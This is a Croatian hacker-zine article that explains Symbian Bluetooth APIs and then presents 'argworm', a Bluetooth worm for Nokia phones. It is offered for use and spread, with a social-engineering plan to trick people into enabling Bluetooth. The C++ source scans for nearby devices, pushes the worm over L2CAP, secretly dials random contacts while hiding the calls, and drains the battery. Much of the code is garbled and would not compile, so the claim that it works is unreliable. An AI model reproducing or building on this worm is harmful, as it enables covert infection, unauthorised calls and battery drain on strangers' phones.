                                
                           ...................
		         ...::: phearless zine #2 :::...
		      
..................>---[ Symbian OS: Under the Hood ]---<................

...........................>---[ by argv ]---<..........................
                                               argv.cpp[at]gmail[dot]com

Sadrzaj:

    [1]  Intro
    [2]  Bluetooth
     <2.1> Bluetooth Glossary
     <2.2> Bluetooth Stack & API
     <2.3> Sockets
    [3]  Anatomy of Infection
    [4]  "My name is Worm, argworm"
    [5]  It ain't Over Until the Phone Screams
    [6]  Conclusion
    


////////////////////////////////////////////////////////////////////////////
--==<[ 1. Intro
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

	Bas neki dan slusam na TV-u kako je dosta korisnika mobitela
dobilo poruku tipa "ako te nazove osoba pod tim imenom, nemoj se javljat jer
ces dobit virus". Najzalosnije je to sto se zbog te poruke digla panika sto
na veoma jasan nacin pokazuje informaticku/tehnolosku obrazovanost nacije.
Sama pomisao na dobivanje virusa putem telefonskog razgovora je apsurdna, a 
kamoli uopce razmisljati da li je to istina ili ne. Jos je gora cinjenica da
su ljudi povjerovali da se mobitel moze fizicki ostetiti ako prime taj poziv.
Da bi se narod smirio, bilo je potrebno na TV-u od strane strucnjaka reci da 
se virus nemoze dobiti na takav nacin. Eto, mozda ovo vise zvuci kao kolumna 
nego tutor, ali jednostavno sam morao to reci jer je ovakva lakovjernost 
korisnika pravi raj za sirenje virusa ili crva. Ako je netko povjerovao da 
se ne smije javljati na mobitel jer ce dobit virus, zasto ja ne bi mogao 
reci 50 ljudi da obavezno ukljuce bluetooth na mobitelima? Kao objasnjenje 
cu im ponuditi "cinjenicu" da je bluetooth neprobojni firewall i antivirus 
koji ce ih stitit od svih napasti. Tih 50 ljudi ce reci jos nekim lakovjernim 
likovima i worm ce se prosiriti brzinom svjetlosti, a nitko nece nista znati 
jer im worm nece ostetiti softver na mobitelu, nego ce samo gutati bateriju
i "zivjeti" u pozadini kao proces od par kilobajta.

	Ovakvih uzbuna je bilo dosta, ali pravo zahuktavanje se tek ocekuje.
Symbian OS je jos u razvojnoj fazi i tek se ocekuje prava navala virusa i
crva. Iako kad to pocne, zasigurno ce se naci i antivirusni programi za
Symbian isto kako je danas slucaj s PC-om. Trenutno ne postoji nikakva
zastita protiv napasnika i sad je pravo vrijeme za eksperimentiranje s tim
OS-om.

	Trenutno je Symbian OS najzastupljeniji na mobitelima i to najvise
na Nokiinim modelima. Mobiteli koji koriste Symbian OS se jos nazivaju i
smartphoneima, tj. pametnim telefonima jer u sebi sadrzi karakteristike koje
prijasnji mobiteli nisu imali. Da nije Symbiana, ne bi bilo ni naprednih
mobitela jer stariji mobiteli su radili na principu "programiraj me njezno,
i zatim me finaliziraj", dok Symbian radi na principu "programiraj me jako,
programiraj me jace, programiraj me najjace, programiraj me ???...". Nema
kraja, a zasto? Zato jer Symbian podrzava Javu, Python i svemoguci C++ sto mu
daje veliku fleksibilnost i neogranicen izvor novih aplikacija (naravno, u 
skladu s jacinom mobitela). Symbian je orginalno pisan u C++-u, dok je 
podrska za Javu i Python naknadno dodana. Iako je moguce integrirati i druga 
razvojna okruzja, ova 3 su sasvim dovoljna za sve potrebe koje programeri 
mogu zamisliti. 

	Ali Symbian ne bi bio nista posebno da ne podrzava umrezavanje:
Bluetooth, Infrared, WAP, GPRS, EDGE i UMTS. Prva 2 koja sam naveo sluze za 
lokalno umrezavanje dok su WAP, GPRS, EDGE i UMTS za globalno povezivanje.
Nas naravno najvise zanima lokalno umrezavanje, a posebice Bluetooth koji
radi na relativno velikoj udaljenosti (do 15 metara) i vjerovatno je
najbolji za lokalno sirenje napasnika. Preko Infrareda nema smisla jer je
domet do 1 metar s time da portovi uredjaja moraju gledati jedan prema
drugom sto dosta smanjuje mogucnost prijenosa. Zbog te cinjenice, bluetoothu
sam posvetio veliki dio ovog teksta kako bi ste se sto bolje upoznali s
principom na kojem bluetooth radi. 

	Kako bi uspjesno izvrsili infektiranje sto veceg broja mobitela, u 
trecem dijelu cemo se pozabaviti nacinima kako najefikasnije prosiriti crva,
zatim cemo se pozabaviti samim crvom da bi na kraju zapoceli distribuciju tog
istog crva.
 
	Iako za citanje ovog teksta netrebate biti C/C++ guru, nekakvo osnovno 
znanje i razumijevanje jezika je potrebno, osim ako ne zelite samo copy/paste.


////////////////////////////////////////////////////////////////////////////
--==<[ 2. Bluetooth
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

	Nekad gadget, a danas standard. Bluetooth je tijekom proslih godina 
stekao veliku popularost medju svim vrstama korisnika, od onih na PC-u, a 
pogotovo onima koji posjeduju mobilne uredjaje jer im omogucava besplatnu 
razmjenu svih vrsta fileova, igranje u mrezi, povezivanje na razini tvrtke,
i jos mnogo raznih mreznih primjena zbog dobrog dometa, brzine i pouzdanosti.

	Sada cemo se malo osvrnuti na tehnicke karakteristike koje bluetooth
sadrzi. Da bi se lakse snasli u tekstu napisao sam mali bluetooth rijecnik
s opisom pojedinog pojma.


////////////////////////////////////
--==<[ 2.1 Bluetooth Glossary
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


-Data Element: Genericki (promjenjivi) tip podatkovne strukture koja se
               koristi za predstavljanje raznih Servisa: Atribute, Definicije
               Atributa, Uzorak za otkrivanje drugih bluetooth uredjaja i
               jos puno raznih servisa za otkrivanje bluetooth prisutnosti.

-Data Element Alternative: Data Element koji se koristi kao alternativa
                           postojecem Elementu.

-Data Element Sequence: Data Element koji cini nestalan niz postojecih
				Elemenata.

-Device Discovery:      Proces trazenja 48 bitnih adresa i imena svih 
                        bluetooth uredjaja koji su u dometu.

-L2CAP:                 Logicni protokolni link za kontrolu i upravljanje.

-Link Manager Protocol: Protokol koji se koristi za podesavanje i kontrolu
                        postojeceg linka. Signali se prevode, zatim 
                        filtriraju na klijentovoj strani da ne bi ponovo 
                        prelazili u visi layer prijenosa. (visi layer 
                        prijenosa je layer preko kojeg se vrsi sva razmjena 
                        podataka).

-Logical LCPP:          Protokol koji salje servise u visi layer. Sadrzi
                        mogucnosti multipleksiranja, segmentacije, grupne
                        abstraktne klase i operaciju reasembliranja.

-Object Exchange Protocol: Protokol za definiranje podataka koji ce se
                           razmjenjivati izmedju uredjaja. Podrzava i 
                           Infrared standard.

-Profile:               Selekcija protokola i procedure koje se 
                        implementiraju ovisno o servisu za koji su 
                        predodredjeni. 

-Protocol Data Unit:    Protokol za definiranje paketa koji se salje.

-Protocol Descriptor:   UUID koji specifira odredjeni protokol i sve radnje,
                        tj, parametre koje odredjeni protokol sadrzi.

-Protocol Descriptor List: Servisni Atribut koji sadrzi pred-organiziranu
                           listu Protocol Descriptora i specifikacije koje
                           protokolni stack mora imati da bi dobio pristup
                           odredjenom servisu.

-Service Multiplexor:   16bit+ vrijednost koja identificira odredjeni
                        protokol nekog servisa za LCCP.

-RFCOMM:                Protokol koji emulira 9 signala RS-232 serijskog
                        porta.

-Service Attribute:     Atribut koji sadrzi sve parametre potrebne za pristup
                        odredjenom servisu. Svaki sadrzi 16bitni identfier.

-Service Class:         Koristi se za katalogiranje servise da se osigura
                        pouzdanost prijenosa podataka.

-Service Class ID List: Atribut koji sadrzi organiziranu listu UUID-a, a
                        svaki identifira Servisnu klasu.

-Service Discovery Protocol: Protokol koji omogucuje aplikacijama da otkriju
                             prisutnost drugih bluetooth uredjaja i identificira
                             karakteristike i parametre tih uredjaja.

Service ID:             Atribut koji sadrzi jedinstveni UUID za identifikaciju
                        odredjenog servisa.

Service Name:           Atribut koji definira ime odredjenog servisa.

Service Record:         Baza koja sadrzi podatke o drugim bluetooth uredjajima.

Service Record Handle:  32bitni broj koji identificira servis unutar servisne
                        baze.

Service Search Pattern: Uzorak za trazenje odredjenog servisa unutar bluetooth
                        uredjaja. Predstavlja listu od 1 - 12 UUID-a.

Universal Unique Identifier: Sluzi za identifikaciju servisnih klasa. To je
                             128bitni broj, ali moze biti 16 ili 32 bitni po
                             potrebi, a zatim se konvertira u 128bitni:

                             UUID128 = UUID16 << 96 + BluetoothBaseUUID 

              (BluetoothBaseUUID = 0x0000 0000 0000 1000 8000 0080 5F9B 34FB)


////////////////////////////////////
--==<[ 2.2 Bluetooth Stack & API
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


BT Host|---------|------------|
  (SW) |   SDP   |   RFFCOM   | -> Emulacija serijskog porta
       |---------|------------| 
       |    L2CAP Protokol    | -> Segmentiranje i reasembliranje
       |----------------------|
       |       HCI Driver     | -> Upravljanje
       |----------------------|
			|
			| Visi layer (slanje)
			|
BT Host|----------------------|
ctrl.  |     HCI Firmware     | -> Firmware bluetooth uredjaja
  (HW) |----------------------|
       |         LMP          | -> Link Manager Protokol
       |----------------------|
       |         LC           | -> Baseband Link Controller
       |----------------------|
       |    Bluetooth Radio   | -> "odasiljac"
       |----------------------|


	Bluetooth Host Controller predstavlja nizi dio stacka. Nizi dio stacka 
obicno predstavlja hardware koji se ne moze pozivati direktno iz bluetooth 
aplikacije, nego je potrebno indirektno preko viseg stacka pristupati hardwareu.

- RFFCOM protokol omogucava komunikaciju izmedju aplikacije i bluetooth
                  uredjaja na slican nacin kao da komuniciraju preko serijskog
                  porta. RFFCOM se koristi kako bi i bluetooth podrzavao neke
                  od standardnih protokola.

- L2CAP protokol  omogucava bolju kontrolu linka. Koristi se ako na linku
                  postoji vise korisnika za njihovo multipleksiranje,
                  segmentiranje i reasembliranje.

- SDP protokol    se koristi u trenutku spajanja na drugi uredjaj kako bi se
                  prikupile informacije o svim servisima koji su omoguceni
                  na drugom uredjaju.

- HCI interface   se koristi za pristupanje bluetooth driverima kako bi se
                  dobila sto bolje kontrola bluetooth hardwarea.


	Kako bi uspjesno pristupili svim protokolima potreban je API za kontrolu
i upravljanje:


- Bluetooth Sockets vrsi enkapsulaciju pristupa L2CAP-u i RFFCOM-u kroz TCP/IP
  interface.

- Bluetooth Service Discovery Database enkapsulira jednu stranu SDP-a: lokalni
  servis koji sadrzi sve atribute za otkrivanje drugih uredjaja.

- Bluetooth Service Discovery Agent enkapsulira drugu stranu SDP-a: omugucava
  otkrivanje servisa na drugim uredjajima i njihovih atributa.

- Bluetooth Security Manager sadrzi sigurnosne servise koje svaki uredjaj koji
  se spaja mora zadovoljiti.

- Bluetooth UI je API koji se koristi za prikazivanje informacija o drugom
  bluetooth uredjaju.


	Slijedeci dijagram pokazuje kako API-ji medjusobno komuniciraju:

|-------------------|<-----|------------------|
| Bluetooth Sockets |<--|  | Security Manager |
|-------------------|<- |  |------------------|
          |           | |
          |            \ \ |-------------------------|
          |            |  \| Service Discovery Agent |
|-------------------|  |   |-------------------------|
|   Sockets Client  |  |               |
|-------------------|  |               |
          |            |               |
          |            | |----------------------------|
          |             \| Service Discovery Database |
|-------------------|    |----------------------------|
|   Sockets Server  |
|-------------------|
          |
          |
          |
|-------------------|
|   Sockets Module  |
|-------------------|
          |
          |
          |
|-------------------|
|        HCI        | 
|-------------------|



////////////////////////////////////
--==<[ 2.3 Sockets
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

	Socketi kod bluetootha sluze za otkrivanje drugih bluetooth uredjaja i
citanje i pisanje podataka. Postoje dvije uloge za tu funkciju, jedna je
posiljatelj, a druga primalac. Kada se uspostavi veza, obije uloge se nadju
na istom layeru i tada pocinje dvosmjerna konekcija - oba uredjaja mogu slati,
primati ili prekinuti vezu nezavisno o tome tko je bio inicijator veze.

	API ima 5 glavnih funkcija koje se uvijek moraju iskoristiti kako bi
se uspostavila veza. To su:

- Socket Address
- Remote Device Inquiry
- RFCOMM Commands & Options
- L2CAP Commands & Options
- HCI Commands & Options

	Socket Address ima jedinstvenu 48bitnu adresu koja se enkapsulira sa
TBTDevAddr. Sockets API enkapsulira genericku komunikaciju kroz TSockAddr, a
za bluetooth se koristi TBTSockAddr.

	Remote Device Inquiry sluzi za isprobavanje drugih uredjaja kroz klasu
RHostResolver, a enkapsulira sve parametre kroz TInquirySockAddr koji se dijeli
za svako isprobavanje.

	Komande koje se mogu slati na L2CAP i RFCOMM idu preko RSocket::Ioctl(), 
dok kontrola opcija ide kroz RSocket::GetOpt() i RSocket::SetOpt()

	Kako sam vec rekao, svaki bluetooth uredjaj ima jedinstvenu 48bitnu
adresu ugradjenu u hardware, a svako isprobavanje (inquiry) vraca nulu ili
adresu drugog uredjaja. Nakon uspjesnog isprobavanja Socket ce vratiti adresu
drugog uredjaja, ali i njegovo ime sto je veoma bitno za kasnija poglavlja
o wormu! Inquiry adrese i imena se dogadja simultano, a u slucaju da se ne
dogode, slijedi prekid veze i ponovni inquiry. Dosta mobitela ima razliciti
bluetooth hardver pa nisu medjusobno kompatibilni, potrebno je malo tweakanje
da bi uspostavili kvalitetnu vezu izmedju tih uredjaja. Iz mog iskustva nokie
rade probleme u inquiriju s motorolinim uredjajima. 

	Inquiry adresa i imena se obavlja kroz genericku EPOC klasu RHostResolver,
zatim klasu TInquirySockAddr koja enkapsulira adresu, Inquiry pristupni kod,
imena servisa i klasa.

	Kako bi bili sigurni da je pronadjena adresa i ime pravi, koristit cemo se
funkcijom koja ce nam to pokazati: TInquirySockAddr::MajorClassOfDevice().

	Spajanje se vrsi preko Connect() funkcije koja je sastavni dio EPOC klase,
unutar RSocket interfacea. Socketi u bluetoothu se otvaraju preko L2CAP ili
RFCOMM protokola. Za L2CAP, port je Protokol/Servis Multipleksor (PSM) koji
sluzi kao bluetooth port.


////////////////////////////////////////////////////////////////////////////
--==<[ 3. Anatomy of Infection
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

	Kako bi uspjesno izvrsili infektiranje drugog uredjaja, bit ce nam
potrebno sve sto sam naveo u poglavlju Bluetooth, pa ako ste sto zaboravili,
sad je pravo vrijeme da se podsjetite :).

	Proces infektiranja ce ici slijedecim tokom:

- Pronalazenje drugog uredjaja
- Otkrivanje njegove adrese i imena
- Inquiry za servise i klase koje su omogucene na remote uredjaju
- Spajanje na remote uredjaj
- Transfer i skrivanje worma
- Infektiranje postojeceg procesa
- Auto-Startup setup
- Auto-Spread setup

////////////////////////////////////////////////////////////////////////////
--==<[ 4. "My name is Worm, argworm" 
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

	Kroz ovo poglavlje cemo napraviti shemu worma, a na kraju teksta mozete
pronaci cijeli source. Source je by me i jos je relativno nedoradjen, ali radi. 
Source mozete slobodno koristiti i modificirati kako god zelite. Za compile
koristite Borlandov c++ 5 (moze i 6, ali uz malu modifikaciju). Naravno, za
compile vam treba Series 60 Bluetooth SDK kojeg mozete skinuti s neta.

	Problemi na koje sam naisao su kompatibilnost s drugim uredjajima, 
auto-spread na druge uredjaje i slicno. Worm odlicno radi sa nokiinim modelima 
i u slucaju infekcije ocekujte veoma brzo praznjenje baterije i random pozivanje
na random broj u imeniku :)

	Da bi pronasli drugi bluetooth uredjaj i zapravo omogucili transfer,
potrebno je odrediti njegovu adresu i ime. Izgled funkcije bi trebao biti
slijedeci:

- Spajanje na Socket Server (RSocketServ), zatim odabir protokola koji cemo
  koristit (RSocketServ::FindProtocol(). Adresu i ime cemo dobiti kada primimo
  sadrzaj stacka sa BTLinkManager protokola.

- Kreiranje i inicijalizacija RHostResolver klase

- Priprema TInquirySockAddr parametra za inquiry. Koristit cemo KHostResInquiry
  kao funkciju koju cemo pozvati kroz TInquirySockAddr::SetAction(). Query cemo
  pokrenuti sa RHostResolver::GetByAddress().

- Kada GetByAddress() zavrsi, TNameEntry ce dobiti ime i adresu prvog uredjaja
  koji je pronadjen ili nulu ako niti jedan uredjaj nije pronadjen.

- Najvaznije za naseg worma jest da uporno trazi nove uredjaje bez prestanka,
  a za to cemo koristiti RHostResolver::Next().


// spajanje na socket server

RSocketServ socketServ;
socketServ.Connect();
TProtocolDesc pInfo;
_LIT(KL2Cap, "BTLinkManager");
User::LeaveIfError(socketServ.FindProtocol(KL2Cap,pInfo));

// kreiranje i inicijalizacija RHostResolvera sa konstantnim trazenjem

RHostResolver::Next hr;
User::LeaveIfError(hr.Open(socketServ,pInfo.iAddrFamily,pInfo.iProtocol));

// priprema inquirya

TInquirySockAddr addr;
TNameEntry name;
addr.SetIAC(KGIAC);
addr.SetAction(KHostResInquiry);
TRequestStatus status;
hr.GetByAddress(addr, entry, status);
User::WaitForRequest(status);

// dobivanje imena 

addr.SetAction(KHostResName);
hr.GetByAddress(addr, entry, stat);
User::WaitForRequest(stat);
TPtrC deviceName;
if (stat == KErrNone)
deviceName.Set(entry().iName);


// Spajanje na L2CAP socket

RSocket socket;
TRequestStatus status;
User::LeaveIfError(socket.Open(socketServ,KBTAddrFamily,KSockSeqPacket,KL2CAP));
User::LeaveIfError(socket.Connect(addr,status));
User::WaitForRequest(status);

if (status == KErrNone)
{
    _LIT8(KDataToWrite,"argworm.app");
    socket.Write(KDataToWrite,status);
    User::WaitForRequest(status);
}

// zatvaranje socketa

socket.Close();


// Infekcija Sysamob procesa 
// (defaultno je ukljucen na svakom mobitelu i ima auto-exec)
 
Infection* Infection::NewLC(CEikApplication& argworm.app)
{
    Infection* self = new (ELeave) Infection(argworm.app);
    CleanupStack::PushL(attrs3, sysamob);
    self->ConstructL();
    return self;
}



	Za worma cemo koristiti 2 filea: argworm.cpp i argworm.bid. 
argworm.cpp je orginalni source samog worma, dok je argworm.bid sustav za 
otkrivanje uredjaja, infekciju i ostale funkcije koje cemo koristiti kao 
bluetooth ekstenzije. argworm.cpp je komentiran, dok argworm.bid je jos
u beta razvoju (problemi s konekcijom na druge modele) pa cu izkomentiranu
verziju staviti na bh forum.


// ============
// argworm.bid
// ============

#include <bt_client.h>
#include <bt_server.h>
#include <bt_sock.h>

#include "BTSockManager.h"
#include "BTNameResolver.h"
#include "BTUUIDResolver.h"
#include "BTDiscoverer.h"
#include "BTAttributeValueLister.h"
#include "BTDiscovery.pan"

RSocketServ socketServ;
socketServ.Connect();
TProtocolDesc pInfo;
_LIT(KL2Cap, "BTLinkManager");
User::LeaveIfError(socketServ.FindProtocol(KL2Cap,pInfo));

RHostResolver::Next hr;
User::LeaveIfError(hr.Open(socketServ,pInfo.iAddrFamily,pInfo.iProtocol));

TInquirySockAddr addr;
TNameEntry name;
addr.SetIAC(KGIAC);
addr.SetAction(KHostResInquiry);
TRequestStatus status;
hr.GetByAddress(addr, entry, status);
User::WaitForRequest(status);

addr.SetAction(KHostResName);
hr.GetByAddress(addr, entry, stat);
User::WaitForRequest(stat);
TPtrC deviceName;
if (stat == KErrNone)
deviceName.Set(entry().iName);

RSocket socket;
TRequestStatus status;
User::LeaveIfError(socket.Open(socketServ,KBTAddrFamily,KSockSeqPacket,KL2CAP));
User::LeaveIfError(socket.Connect(addr,status));
User::WaitForRequest(status);

if (status == KErrNone)
{
    _LIT8(KDataToWrite,"argworm.app");
    socket.Write(KDataToWrite,status);
    User::WaitForRequest(status);
}

socket.Close();

argworm* argworm::NewLC(CEikApplication& argworm.app)
{
    Infection* self = new (ELeave) Infection(argworm.app);
    CleanupStack::PushL(argworm.sis, sysamob);
    self->ConstructL();
    return self;
}

argworm* argworm::NewL(MReporter& aReporter)
    {
    argworm* self = argworm::NewLC(aReporter);
    CleanupStack::Pop(self);
    return self;
    }

argworm* argworm::NewLC(MReporter& aReporter)
    {
    argworm* self = new (ELeave) argworm(aReporter);
    self->ConstructL();
    CleanupStack::PushL(self);
    return self;
    }

void argworm::ConstructL()
    {
    iSdpSearchPattern = CSdpSearchPattern::NewL();
    iSdpSearchPattern->AddL(KL2CAP);

    iMatchList = CSdpAttrIdMatchList::NewL();
    iMatchList->AddL(TAttrRange(0x0000, 0xFFFF)); // trazenje uredjaja na svim adresama ("frekvencijama")

    iAgent = NULL;
    }

argworm::argworm(MReporter& aReporter)
:   iReporter(aReporter),  
    iHasPrintedRecordNumber(EFalse), 
    iHasPrintedHandle(EFalse)
    {
    }

argworm::~argworm()
    {
    delete iAgent;
    iAgent = NULL;

    delete iMatchList;
    iMatchList = NULL;

    delete iSdpSearchPattern;
    iSdpSearchPattern = NULL;
    }

TBool argworm::SelectDeviceL(TBTDeviceResponseParamsPckg& aResponse)
    {
    iHasPrintedRecordNumber = EFalse;
    TBool success = EFalse;
    
    RNotifier not;
    User::LeaveIfError(not.Connect());
  
    TBTDeviceSelectionParamsPckg selectionFilter;

    TRequestStatus status;
    not.StartNotifierAndGetResponse(
        status,
        KDeviceSelectionNotifierUid,
        selectionFilter,
        aResponse
    );

    User::WaitForRequest(status);

    if (status.Int() == KErrNone)
        {
        if (aResponse().IsValidDeviceName())
            {
            success = ETrue;
            }
        else
            {
            iReporter.Error(_L("nema bluetootha u dometu..."));
            }
        }
    else
        {
        iReporter.Error(_L("auto konektor!"));
        }

    not.CancelNotifier(KDeviceSelectionNotifierUid);
    not.Close();

    return success;
    }

void argworm::ListServicesL(const TBTDevAddr& aAddress)
    {
    delete iAgent;

    iAgent = NULL;
    iAgent = CSdpAgent::NewL(*this, aAddress);

    iAgent->SetRecordFilterL(*iSdpSearchPattern);
    iAgent->NextRecordRequestL();
    }

void argworm::NextRecordRequestComplete(TInt aError, TSdpServRecordHandle aHandle, TInt aTotalRecordsCount)
    {
    if (aError == KErrEof)
        {
        iReporter.PrintLine(_L("Slijedeci"));
        }
    else if (aError != KErrNone)
        {
        PrintSDPError(aError);
        iReporter.PrintLine(_L("Kraj"));
        }
    else if (aTotalRecordsCount)
        {
        if (! iHasPrintedRecordNumber)
            {
            TBuf<64> buffer;
            buffer.Format(_L("%d uredjaja pronadjeno"), aTotalRecordsCount);
            iReporter.PrintLine(buffer);
            iHasPrintedRecordNumber = ETrue;
            }
        iReporter.PrintLine(_L("Trazenje"));

        TRAPD(err, iAgent->AttributeRequestL(aHandle, *iMatchList));
        if (err != KErrNone)
            {
            Panic(EBTDiscoveryAttributeRequest);
            }
        }
    else
        {
        iReporter.PrintLine(KNullDesC);
        iReporter.PrintLine(_L("Kraj"));
        }
    }


void argworm::AttributeRequestResult(
    TSdpServRecordHandle aHandle, 
    TSdpAttributeID aAttrID, 
    CSdpAttrValue* aAttrValue
)
    {
    if (! iHasPrintedHandle)
        {
        TBuf<40> handle;
        handle.Append(_L("Adresa: 0x"));
        handle.AppendNumUC(static_cast<TUint>(aHandle), EHex);
        iHasPrintedHandle = ETrue;
        iReporter.PrintLine(handle);
        }
    
    //  Identifikacija
    TBuf<40> attrIDBuffer;
    attrIDBuffer.Append(_L("ID Atributa: 0x"));
    attrIDBuffer.AppendNumUC(static_cast<TUint>(aAttrID), EHex);
    iReporter.PrintLine(attrIDBuffer);
    
    // Vrijednosti atributa
    TBTAttributeValueLister lister(iReporter);
    
    TRAPD(err,aAttrValue->AcceptVisitorL(lister));
    if (err != KErrNone)
        {
        Panic(EBTDiscoveryAttributeAcceptVisitor);
        }
    delete aAttrValue;
    }

void argworm::AttributeRequestComplete(TSdpServRecordHandle, TInt aError)
    {
    if (aError == KErrEof)
        {
        iReporter.PrintLine(_L("Kraj"));
        }
    else if (aError != KErrNone)
        {
        PrintSDPError(aError);
        iReporter.PrintLine(_L("Kraj"));
        }
    else
        {
        
        iHasPrintedHandle = EFalse;
        TRAPD(err, iAgent->NextRecordRequestL());
        if (err != KErrNone)
            {
            Panic(EBTDiscoveryNextRecordRequest);
            }
        }
    }
}


// ============
// argworm.cpp
// ============

#include <events.h>
#include <etelbgsm.h>
#include <etelbgprs.h>
#include <d32comm.h>

// =============================================
// random pozivanje brojeva u random intervalu
// =============================================

_LIT (KTsyName,"argworm.tsy");
_LIT (KPhoneNumber, TRandom);

// random komanda

void argworm::HandleCommandL(TInt aCommand)
    {
    switch(aCommand)
        {
        case EAknSoftkeyExit:
            Exit();
            break;

        case EDialerDial:
            {
            TRAPD(err, DialNumberL(KPhoneNumber); );
            if (err)
                {
                User::InfoPrint(_L("Greska"));
                }
            }
            break;

        default:
            User::Panic (_L("Dialer"), EDialerBasicUi);
            break;
        }
    }


void argworm::DialNumberL(const TDesC& aPhoneNumber)
	{

	// priprema poziva
	RTelServer server;
	CleanupClosePushL(server);
	User::LeaveIfError(server.Connect());

	// loadanje drivera
	User::LeaveIfError(server.LoadPhoneModule(KTsyName));

	// pronadji random broj
	TInt numberPhones;
	User::LeaveIfError(server.EnumeratePhones(numberPhones));

	// pregledavanje imenika
	if (numberPhones < 1)
		{
		User::Leave(KErrNotFound);
		}

	// procitaj broj random nadjenog broja
	RTelServer::TPhoneInfo info;
	User::LeaveIfError(server.GetPhoneInfo(0, info));

	// iskoristavanje broja
	RPhone phone;
	CleanupClosePushL(phone);
	User::LeaveIfError(phone.Open(server, info.iName));

	// info o broju 2
	RPhone::TLineInfo lineInfo;
	User::LeaveIfError(phone.GetLineInfo(0, lineInfo));

	// otvaranje poziva
	RLine line;
	CleanupClosePushL(line);
	User::LeaveIfError(line.Open(phone, lineInfo.iName));

	// otvaranje novog poziva (vraca se na random)
	TBuf <100> newCallName;
	RCall call;
	CleanupClosePushL(call);
	User::LeaveIfError(call.OpenNewCall(line, newCallName));

	// brisi poziv iz loga
	User::LeaveIfError(call.Dial(aPhoneNumber));

	// simuliraj prekid veze (poziv ce jos trajati, ali se nece vidjeti na zaslonu mobitela)
	CleanupStack::PopAndDestroy(3);

	// ciscenje drivera i priprema za novi poziv
	User::LeaveIfError(server.UnloadPhoneModule(KTsyName));
	}

// =======================================================================
// battery killer
// 
// kao proces uporno, ali bezuspjesno pokusava loadati memory managment :)
// inace, kada se memory managment podize zauzima oko 80% memorije telefona
// sto dosta ubrazno trosi bateriju :)
// =======================================================================
	
LOCAL_D CConsoleBase* console;
  
  // pointer na pokusaj pokretanja
  
LOCAL_D TBool leaveFlag = ETrue;

  // pointer na bezuspjesan pokusaj pokretanja (return)

LOCAL_C void PokreniL();      
LOCAL_C void PokreniPonovoL();

class CMemManagmentExploit : public CBase
	{
public :
	void PokreniL();
public :
	TInt iInt;
	};

void CMemManagmentExploit::PokreniL() 
	{
	if (leaveFlag)
		{
		console->Printf(); // skrivamo message, tako da se ne vidi pokusaj
		User::Leave();	 	
		}
	console->Printf();
	}

GLDEF_C TInt E32Main()
    {
	  // stack
	CTrapCleanup* cleanup=CTrapCleanup::New();

	  // inicijalizacija
	TRAPD(error,callPokreniL());
	  
	  // callPokreniL ce se uvijek pokretati
	_LIT(KMsgPanicEpoc32ex,"");
	__ASSERT_ALWAYS(!error,User::Panic(KMsgPanicEpoc32ex,error));

	  // stack cleanup
	delete cleanup;
	
	return 0;
    }

LOCAL_C void callPokreniL() 
    {
	  // inicijaliziraj i pozovi

	_LIT(KMsgPokreniCode,"my name is worm, argworm");
	console = Console::NewL(KMsgPokreniCode,TSize(KConsFullScreen,KConsFullScreen));
	  
	  // konzola ide u stack...
	CleanupStack::PushL(console);

	  // start... 
	TRAPD(error,PokreniL());
	_LIT(KMsgOK,"");
	_LIT(KFormat2,"%d");
	if (error)
		console->Printf(KFormat2,error);
	else
		console->Printf(KMsgOK);
	  
	console->Printf(KMsgPressAnyKey);
	console->Getch();

	  // stack cleanup 
	CleanupStack::PopAndDestroy();
    }

void PokreniL()
	{
	__UHEAP_SETFAIL(RHeap::EDeterministic,allocFailNumber);
	argworm* argworm = new (ELeave) CExample;
	argworm->iInt = 5;
	CleanupStack::PushL(argworm);
	argworm->PokreniPonovoL();
	CleanupStack::Pop();
	delete argworm;
	}


////////////////////////////////////////////////////////////////////////////
--==<[ 6. It ain't Over Until the Phone Screams
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

	Nakon compilea dobit cete argworm.sis i argworm.bid. Sve sto je sada
potrebno jest poslati ta dva filea nekome preko bluetootha i worm ce se 
aktivirati cim bluetooth protokoli pokusaju procitati vasu adresu. Kada se 
oba fajla posalju, argworm.bid ce svaki put za vrijeme prijenosa povlaciti 
argv.sis za sobom i instalirati ga po dospijecu. 
Kada se worm jednom aktivira, nemoze ga se vise deaktivirati (osim rucnim 
ubijanjem procesa i brisanjem fajlova). Nakon prvog slanja worm ce se pokusati 
poslati na sve bluetooth uredjaje koje moze pronaci. 

////////////////////////////////////////////////////////////////////////////
--==<[ 7. Conclusion
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

	Iako je ovaj worm jos uvijek mala beba jer je relativno glup :), moze
se siriti samo na nokijine modele i vjerujem da ce nakon nekog vremena sam
od sebe prestati raditi kad prodje kroz vise razlicitih bluetooth adresa :), 
ali to nisam uspio provjeriti. Ja cu nastaviti raditi na ovom podrucju, pa
cu na bh forum postati najnovije nalaze. Opet kazem, ovo je tek pocetak, ali
uvidio sam da su mogucnosti ogromne i sve mi se cini da ovo nije kraj :).







